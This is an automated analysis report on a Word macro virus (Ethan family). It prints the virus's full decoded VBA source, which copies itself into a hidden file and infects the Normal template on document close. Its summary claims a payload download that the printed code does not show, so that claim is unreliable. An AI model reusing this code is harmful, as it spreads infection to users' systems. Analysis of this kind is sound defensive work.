Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c909b8217ad6f25e…

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-11-15 07:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 20e700ead9ce3f9d7bcbbc10bb2f8e1c SHA-1: 45f209fa997d9e5a4f868c343adf8c4ad46da74b SHA-256: c909b8217ad6f25eb422b4c91f2dd26080f5c75d9720ee9456da034d657cab59
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV detection and the presence of VBA macros indicate malicious intent. The VBA script attempts to write its own code to 'c:\virus.fix' and execute it, likely to download and run a second-stage payload. The exact nature of the payload is not discernible from the provided script, hence the unknown family.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4831 bytes
SHA-256: 8d4bb00760eddd99f1146c9d308808a9fda46d2839b1962548168f111b4204e6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
If Dir("c:\virus.fix", 6) = "" Then
Open "c:\virus.fix" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\virus.fix", 6
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\virus.fix" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

' Processing file: /opt/analyzer/scan_staging/108a6be390094ef8ac95f7750baac272.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2723 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitStr 0x000C "c:\virus.fix"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #4:
' 	LitStr 0x000C "c:\virus.fix"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #5:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #6:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #7:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #9:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #10:
' 	LitStr 0x000C "c:\virus.fix"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #13:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #14:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	ElseIfBlock 
' Line #15:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #16:
' 	ElseBlock 
' Line #17:
' 	LitStr 0x0000 ""
' 	St t 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld t 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #20:
' 	LitStr 0x000C "c:\virus.fix"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #21:
' 	LitDI2 0x0001 
' 	ArgsLd LOF 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo q 
' 	EndIf 
' Line #22:
' 	LitDI2 0x0001 
' 	St i 
' Line #23:
' 	LitDI2 0x0001 
' 	ArgsLd EOF 0x0001 
' 	Not 
' 	DoWhile 
' Line #24:
' 	LitDI2 0x0001 
' 	Ld a 
' 	Li
... (truncated)

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